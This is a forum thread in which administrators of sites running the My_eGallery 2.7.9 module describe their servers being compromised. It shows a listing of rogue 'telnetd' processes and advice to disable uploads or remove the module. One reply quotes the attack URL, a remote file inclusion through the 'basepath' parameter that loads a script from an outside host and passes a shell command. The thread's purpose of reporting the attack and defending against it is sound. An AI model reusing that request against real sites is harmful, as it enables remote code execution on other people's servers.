Security Bug in My_eGallery 2.7.9
SecurityLaffer writes "I discovered that there seems to be a big security bug in My_eGallery and every day someone is exploiting and reinstalling some processes on my webserver. Very dangerous, because the Hacker uploads a file on the server and does put it in the /tmp directory and then can execute it (I do not know HOW by now!!!). But the LOGS show that the file is uploaded by My_eGallery...

If somebody has an idea????

Everybody should check his /tmp Directory for files with suspicous names like telnetd or bind.txt or files which have readable names. Look into those files if their are not Hacks...

I discovered on my server following processes:
6926 ? S 0:00 getty
6932 ? T 0:00 ./telnetd
6933 ? S 0:00 getty
6936 ? Z 0:00 [telnetd ]
6939 ? T 0:00 ./telnetd
6940 ? S 0:00 getty
6942 ? Z 0:00 [telnetd ]
6947 ? S 0:00 getty
7005 ? T 0:00 ./telnetd
7006 ? S 0:00 getty
7009 ? Z 0:00 [telnetd ]
7012 ? T 0:00 ./telnetd
7013 ? S 0:00 getty
7016 ? Z 0:00 [telnetd ]

Then:

-----8<-----8<-----8<-----8<-----8<-----8<-----8<-----8<-----8<-----8<-----
?????:/tmp # stat telnetd

For now at least I'd disable uploading. I never used eGallery as I didn't think it did enough sanitization compared to Coppermine. My only (crappy) suggestion would be to remove eGallery, and use Coppermine.

Not the best answer, but I'm also not interested in learning another module, I've already decided isn't in my best interests to use... =(

I have the same problem. I discovered that the line used is

/modules/My_eGallery/public/displayCategory.php?basepath=http://www.bywordonline.com/sc/app.txt?&cmd=cd%20/tmp;ls

or similar

and you can use it although you have disable the module.

It's a bug very dangerous but i don't know how stop it. I deleted the module My_eGallery.

I hope that above line can help.

NOTE: Bugtraq has released a vulnerability for eGallery. I have posted it for news, but it hasn't been made available as of yet.

In any case send me a msg if you want the link or go get it yourself on the bugtraq archives.

I found the exec($cmd) lines in the imageFunctions.php but even when I outcommented those lines, the exploit works... Crazy...
